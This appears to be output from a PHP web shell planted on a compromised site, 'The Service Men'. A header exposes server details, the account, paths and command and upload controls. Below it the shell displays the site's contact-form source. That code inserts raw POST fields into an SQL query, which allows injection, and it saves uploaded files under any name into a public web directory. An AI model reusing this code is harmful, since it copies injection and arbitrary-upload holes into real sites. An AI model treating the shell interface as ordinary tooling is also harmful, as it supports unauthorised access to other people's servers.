Server IP : 103.53.40.154 / Your IP : 3.145.59.89 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/theservicemen.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<title>Contact Us | The Service Men</title> <meta name="Visit Us | Tundla Firozabad, Uttar Pradesh, India - 283204 | info@theservicemen.co.in | 7500964101" content="Free Web tutorials"> <meta name="keywords" content="HTML, CSS, JavaScript"> <?php include 'headtags.php';?> <?php include 'header.php';?> <style type="text/css"> .contact-head h1 { margin-top:200px; } </style> <div style="background-color:black; height:300px;" class="container-fluid"> <div class="row"> <div class="contact-head text-center text-white"> <h1>Contact</h1> </div> </div> </div> <?php include_once "admin/config.php"; if(isset($_POST['submit'])) { $s_image = $_FILES['image']; move_uploaded_file($_FILES['image']['tmp_name'],'./assets/img/services/'.$_FILES['image']['name']); $upload_image = $_FILES['image']['name']; $name = $_POST['name']; $email = $_POST['email']; $phone = $_POST['phone']; $product = $_POST['product']; $product_desc =$_POST['product_desc']; $message = $_POST['message']; $status = $_POST['status']; $alt_phone = $_POST['alt_phone']; $state = $_POST['state']; $district = $_POST['district']; $city = $_POST['city']; $pin = $_POST['pin']; $tehsil = $_POST['tehsil']; $sql= "INSERT INTO `tb7_user_issue`(`image`,`name`, `email`, `phone`, `product`, `product_desc`, `message`, `alt_phone`, `state`, `district`, `city`, `pin`, `status`, `tehsil`) VALUES ('$upload_image','$name','$email','$phone','$product','$product_desc','$message', '$alt_phone', '$state', '$district', '$city', '$pin', '$status', '$tehsil')"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); if($result){ echo ("<script> window.alert('Succesfully Send'); window.location.href='index.php'; </script>"); mysqli_close($db); }else{ echo "not Send Message"; } } ?> <section id="contact" class="contact"> <div class="container" data-aos="fade-up"> <div class="section-title"> <h2>Contact</h2> <p>Contact Us</p> </div> <div> <iframe style="border:0; width: 100%; height: 270px;" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d12097.433213460943!2d-74.0062269!3d40.7101282!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0xb89d1fe6bc499443!2sDowntown+Conference+Center!5e0!3m2!1smk!2sbg!4v1539943755621" frameborder="0" allowfullscreen></iframe> </div> <div class="row mt-5"> <?php include 'admin/config.php'; $sql = "SELECT * FROM tb1_admin"; $run = mysqli_query($db,$sql); while($data = mysqli_fetch_assoc($run)){ ?> <div class="col-lg-4"> <div class="info"> <div class="address"> <i class="bi bi-geo-alt"></i> <h4>Location:</h4> <p><?php echo $data['admin_address']?></p> </div> <div class="email"> <i class="bi bi-envelope"></i> <h4>Email:</h4> <p><?php echo $data['admin_email']?></p> </div> <div class="phone"> <i class="bi bi-phone"></i> <h4>Call:</h4> <p><?php echo $data['admin_phone']?></p> </div> </div> </div> <?php } ?> <div class="col-lg-8 mt-5 mt-lg-0"> <form action="<?php $_PHP_SELF ?>" method="POST" role="form" enctype="multipart/form-data"> <div class="row"> <div class="col-md-6 form-group"> <input type="text" name="name" class="form-control" id="name" placeholder="Your Name" required> <input type="hidden" name="status" class="form-control" id="status" value ="lead"> </div> <div class="col-md-6 form-group mt-3 mt-md-0"> <input type="email" class="form-control" name="email" id="email" placeholder="Your Email"> </div> </div> <div class="row mt-2"> <div class="col-md-6 form-group"> <input type="phone" name="phone" class="form-control" id="phone" placeholder="Your Phone" required> </div> <div class="col-md-6 form-group mt-3 mt-md-0"> <input type="Phone" class="form-control" name="alt_phone" id="alt_phone" placeholder="Your alternate number" > </div> </div> <div class="row mt-2"> <div class="col-md-6 form-group"> <!--<input type="text" name="product" class="form-control" id="product" placeholder="Your product" >--> <select name="product" class="form-control" id="product"> <option> Select your product</option> <?php include 'admin/config.php'; $sql = "SELECT * FROM tb5_services"; $run = mysqli_query($db,$sql); while($data = mysqli_fetch_assoc($run)){ ?> <option value="<?php echo $data['src_name']?>"><?php echo $data['src_name']?></option> <?php } ?> </select> </div> <div class="col-md-6 form-group mt-3 mt-md-0"> <input type="text" class="form-control" name="product_desc" id="product_desc" placeholder="Product Company Name" > </div> </div> <div class="row mt-2"> <div class="col-md-6 form-group"> <input type="text" name="state" class="form-control" id="state" placeholder="State" > </div> <div class="col-md-6 form-group mt-3 mt-md-0"> <input type="text" class="form-control" name="district" id="district" placeholder="District"> </div> </div> <div class="row mt-2"> <div class="col-md-6 form-group"> <input type="text" name="city" class="form-control" id="city" placeholder="City" > </div> <div class="col-md-6 form-group mt-3 mt-md-0"> <input type="text" class="form-control" name="pin" id="pin" placeholder="PIN"> </div> </div> <div class="row mt-2"> <div class="col-md-6 form-group mt-3"> <input type="text" class="form-control" name="tehsil" id="tehsil" placeholder="Tehsil" > </div> <div class="col-md-6 form-group mt-3"> <input type="file" class="form-control" name="image" id="image" > </div> </div> <div class="form-group mt-3"> <textarea class="form-control" name="message" rows="5" placeholder="Additional info (optional)"></textarea> </div> <div class="my-3"> <!--<div class="loading">Loading</div>--> <!--<div class="error-message"></div>--> <!--<div class="sent-message">Your message has been sent. Thank you!</div>--> </div> <div class="text-center"><button class="btn btn-success" type="submit" name ="submit">Send Message</button></div> </form> </div> </div> </div> </section> <?php include 'footer.php';?>